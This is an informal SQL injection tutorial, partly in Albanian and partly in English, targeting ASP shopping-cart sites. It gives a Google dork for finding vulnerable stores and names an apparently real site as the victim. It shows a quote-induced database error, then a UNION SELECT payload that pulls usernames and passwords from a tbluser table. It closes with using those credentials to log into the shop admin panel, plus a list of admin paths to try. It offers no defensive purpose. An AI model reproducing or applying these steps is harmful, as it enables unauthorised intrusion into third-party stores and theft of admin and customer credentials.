| |
ne fillim shkonu tek google.com dhe vendosni kete inurl:/shopdisplayproducts.asp ok, tani do te gjejme shume site me shopdisplayproducts.asp ja disa site http://www.globalasp.org.uk/store/sh…ucts.asp?id=14 ne fund te linut vendosim kete ‘ dhe do te behet keshtu http://www.globalasp.org.uk/store/shopdisp….asp?id=14′ dhe tani do na dali error products microsoft jet database engine error ‘80040e14′ syntax error in string in query expression ‘cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and cc.intcategoryid = 14′ and hide=0 order by specialoffer desc,cname’. /store/shop$db.asp, line 467 if we see this error then is hackable ) !!! ok … tani e prishim ‘ http://www.globalasp.org.uk/store/sh…ucts.asp?id=14 and on this add this %20union%20select% 201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, 20,21,22,23,24,25,26,27,28,29, 30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 ,47,48,49,50%20from%20tbluser’ linku tani eshte http://www.globalasp.org.uk/store/shopdisp…%20tbluser’ and put it in the browser we get the same error !!! ok … now you see this numbers … 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30 ,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,4 7,48,49,50 now we removed ,50 and we now test http://www.globalasp.org.uk/store/shopdisp…%20tbluser’ the same error and now we removed and removed number, and when we don’t see this error we must see some site, on this server correct number for exploit is -> 47 <- http://www.globalasp.org.uk/store/shopdisp…%20tbluser’ —> this you see 47 is the end number ok now we put this in browser and don’t see error we see some laptops ok … now we find on that site numbers 3 and 4 they are small when we find that numbers we put where are 3 and 4 in link this code line fldusername,fldpassword tani linku eshte l http://www.globalasp.org.uk/store/shopdisp…%20tbluser’ and look where was 3 and 4 number now there are username and password for login in shopadmin , now we are going to this link http://www.globalasp.org.uk/store/colours$config.a sp there is login for shopadmin and we login !!! this are path where can be shopadmins too shopadmin.asp —-> this or … with 1 shopadmin1.asp —-> this is in 90 % adminindex.html shopadmin1.asp shopa_displayorders.asp?page=2 shopa_displayorders.asp shopa.asp displayorders.asp admin.asp orders.asp vieworders.asp view_orders.asp
|
|
